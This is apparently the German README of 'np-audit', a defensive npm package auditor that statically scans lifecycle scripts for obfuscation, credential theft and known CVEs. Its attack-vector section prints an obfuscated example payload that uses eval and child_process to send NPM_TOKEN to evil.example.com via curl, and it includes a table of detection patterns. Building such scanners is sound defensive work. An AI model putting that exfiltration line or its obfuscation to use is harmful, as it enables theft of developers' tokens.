np-audit

np-audit — npm-Paket-Auditor

Statische Sicherheitsanalyse für npm-Pakete – erkennt obfuskierte Lifecycle-Skripte, bekannte Schwachstellen und bösartige Muster bevor sie ausgeführt werden. Direkter Ersatz für npm install und npm ci.

Null Abhängigkeiten. Nur reine Node.js-Built-ins. < 100 kB übertragen.

npx np-audit scan express

npm install -g np-audit
npa scan                     # alle Abhängigkeiten scannen
npa install                  # prüfen, dann installieren
alias npm='npa'              # als direkten Ersatz verwenden

Marshallers

Die Erkennung ist in modulare Marshaller unterteilt – jeder erkennt ein einzelnes Angriffssignal:

Die Bewertungen skalieren mit dem Schweregrad – höhere Anzahlen von Obfuskierungsindikatoren erzeugen höhere Bewertungen. Das endgültige Urteil basiert auf der höchsten Einzelbewertung aller Marshaller.

Siehe CONTRIBUTING.md für Informationen zum Schreiben eigener Marshaller.

Schwachstellenscan (CVE)

Jedes gescannte Paket wird zusammen mit der Code-Analyse gegen bekannte Schwachstellendatenbanken geprüft.

Standard: OSV.dev (keine Einrichtung erforderlich)

Funktioniert sofort – fragt die kostenlose OSV.dev-API nach bekannten Schwachstellen und schädlichen Paketmeldungen ab.

Optional: Snyk API (umfangreichere Daten)

# Umgebungsvariable
export SNYK_API_TOKEN=your-token-here

# Oder über die Snyk CLI
snyk auth

Token-Auflösungsreihenfolge: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

Nicht-schädliche CVEs erzeugen Warnungen, blockieren die Installation jedoch nie. Nur bestätigte schädliche Pakete lösen GEFAHR aus.

Verwendung

Befehle

Jeder nicht erkannte Befehl wird an npm weitergeleitet (z. B. npa run test, npa publish).

Flags

Interaktiver `--review`-Modus

npa install --review

  npa --review mode
  Verwenden Sie ↑/↓ zum Navigieren, LEERTASTE zum Umschalten, EINGABE zum Bestätigen, q zum Beenden

  Gefundene 3 Pakete mit Installationsskripten:

     [✓ erlauben] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ ablehnen] [email protected]       postinstall: install.js          GEFAHR (Bewertung: 9)
     [✓ erlauben] @scope/[email protected]     postinstall: install.js          WARNUNG (Bewertung: 5)

  2 erlaubt  1 abgelehnt

Konfiguration

Die Konfiguration wird in ~/.npmauditor.json (global) gespeichert und kann pro Projekt mit .npmauditor.json überschrieben werden.

npa config get                              # Aktuelle Konfiguration anzeigen
npa config set blockScore 6                 # Bei Bewertung 6+ blockieren
npa config set skipPackages '["esbuild"]'   # Bestimmte Pakete vertrauen
npa config set skipScopes '["@types"]'      # Ganze Scopes vertrauen

Alle Konfigurationsschlüssel

Deaktivieren von Marshallern

Sie können bestimmte Erkennungschecks deaktivieren, indem Sie deren Namen zu disabledMarshallers hinzufügen:

npa config set disabledMarshallers '["process-env", "network-call"]'

Um alle verfügbaren Marshaller-Namen und deren aktuellen Status anzuzeigen:

npa config marshallers

Dies ist nützlich, wenn ein Marshaller für Ihren Workflow falsch-positive Ergebnisse liefert. Deaktivierte Marshaller werden sowohl bei der statischen Code-Analyse als auch bei paketbezogenen Prüfungen vollständig übersprungen.

Shell-Alias

Verwenden Sie npa als transparenten npm-Ersatz:

npa alias --install     # fügt hinzu: alias npm='npa'
source ~/.zshrc         # Shell neu laden

Jetzt scannen npm install und npm ci automatisch. Alle anderen npm-Befehle (npm run, npm test, npm publish) werden unverändert durchgereicht.

npa alias --uninstall   # Alias entfernen

Funktionsweise

Einlesen der package-lock.json (v1/v2/v3) oder Auflösung aus package.json
Herunterladen der Tarballs von der Registry (oder Lesen aus node_modules)
Parsen der Lifecycle-Befehle – zerlegt &&/||/;/|, behandelt node -e, sh -c, Shell-Skripte
Durchlaufen des require()/import-Graphen von jedem Einstiegspunkt (Zyklenerkennung, Limit 50 Dateien / 5 MB)
Analysieren mit allen Marshallern – statische Code-Prüfungen + CVE-Datenbankabfragen
Bewerten und klassifizieren: GEFAHR / WARNUNG / OK
Melden oder mit der Installation fortfahren

Der Angriffsvektor

Supply-Chain-Angriffe missbrauchen npm-Lifecycle-Skripte. Wenn Sie npm install ausführen, wird jedes preinstall/install/postinstall-Skript automatisch ausgeführt. Angreifer verstecken Payloads hinter Obfuskierung:

var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

Reale Vorfälle:

event-stream (2018) — Diebstahl von Bitcoin-Wallet-Anmeldeinformationen
ua-parser-js (2021) — Crypto-Miner + Informationsdieb
node-ipc (2022) — Geografisch gezielter Löschangriff
colors / faker (2022) — Sabotage durch Maintainer
SAP CAP / cds-dbs (2025) — Kompromittiertes Paket mit Zielrichtung Unternehmensentwickler

npa führt niemals Skripte aus. Es lädt sie herunter und analysiert sie statisch.

Exit-Codes

Code	Bedeutung
`0`	Alles sauber oder nur Warnungen
`1`	Ein oder mehrere Pakete blockiert

Lizenz

MIT

`eval/dynamic-exec`	`eval()`, `new Function()`, indirektes eval, `vm.*`, `setTimeout` mit String	8
`obfuscator.io`	`_0x`-Variablen-Benennungsmuster (obfuscator.io-Ausgabe)	9–80
`high-entropy-string`	Lange Strings oder Verkettungsketten mit hoher Shannon-Entropie	6
`hex-escape-density`	Dichte `\xNN`- und `\uXXXX`-Escape-Sequenzen	5–50
`fromCharCode`	`String.fromCharCode` mit vielen Argumenten, große dezimale Zeichencode-Arrays	7
`encoded-decode`	Base64/hex-Dekodierung (`atob`, `Buffer.from`) optional kombiniert mit `eval`	3–8
`child-process`	`require('child_process')`, `exec`, `spawn`, `fork`, worker_threads	5
`hex-array`	Große Anzahl von `0x`-hexadezimalen Literalen	7–60
`process-env`	`process.env`-Zugriff (Signal für Anmeldeinformationsdiebstahl)	3
`network-call`	`require('https')`, `fetch()`, `dns`, `net`, `tls`	4
`filesystem-manipulation`	`fs.writeFile`, `chmod`, `symlink` (Backdoor-Persistenz)	3–4
`runtime-download`	Herunterladen und Ausführen externer Laufzeiten (Bun, Deno)	9–50
`vscode-autorun`	VS Code-Aufgaben mit `runOn: folderOpen` (automatische Ausführung)	30
`known-vulnerability`	Bekannte CVEs über Snyk API oder OSV.dev	4–6 (WARNUNG), 80 (bösartig)

Schädliches Paket	80	GEFAHR
10+ Schwachstellen	6	WARNUNG
5–9 Schwachstellen	5	WARNUNG
1–4 Schwachstellen	4	WARNUNG

`npa install [package]`	`npa i`	Audit durchführen, dann `npm install` ausführen
`npa ci`	—	Audit durchführen, dann `npm ci` ausführen
`npa scan [package]`	`npa s`	Nur scannen, keine Installation
`npa config get`	`npa c get`	Aktuelle Konfiguration anzeigen
`npa config set <key> <value>`	`npa c set`	Konfigurationswert aktualisieren
`npa alias --install`	—	Shell-Alias installieren
`npa alias --uninstall`	—	Shell-Alias entfernen

`--review`	`-r`	`install`, `ci`	Interaktiver Modus – wählen Sie, welche Skripte erlaubt werden
`--json`	—	`install`, `ci`, `scan`	Maschinenlesbare JSON-Ausgabe
`--no-dev`	—	`install`, `ci`, `scan`	Entwicklungsabhängigkeiten überspringen
`--verbose`	—	alle	Fortschritt und zusätzliche Details anzeigen
`--version`	`-v`	—	Version ausgeben und beenden
`--help`	`-h`	—	Hilfe ausgeben und beenden

`blockScore`	`7`	Bewertungsschwellwert für GEFAHR (Exit 1)
`warnScore`	`4`	Bewertungsschwellwert für WARNUNG (Exit 0)
`registry`	`https://registry.npmjs.org`	npm-Registry-URL
`timeout`	`30000`	HTTP-Request-Timeout (ms)
`parallelFetches`	`5`	Gleichzeitige Downloads
`skipScopes`	`[]`	`@scope`-Präfixe, die übersprungen werden
`skipPackages`	`[]`	Paketnamen, die übersprungen werden
`silent`	`false`	Ausgabe unterdrücken, wenn keine Probleme gefunden
`scanSelf`	`true`	Eigene Projekt-Lifecycle-Skripte scannen
`maxTarballSize`	`50MB`	Maximale ungepackte Tarball-Größe (Bombenschutz)
`checkVulnerabilities`	`true`	Pakete gegen CVE-Datenbanken prüfen
`deepResolve`	`false`	Vollständigen transitiven Abhängigkeitsbaum auflösen
`disabledMarshallers`	`[]`	Marshaller-Namen, die beim Scannen übersprungen werden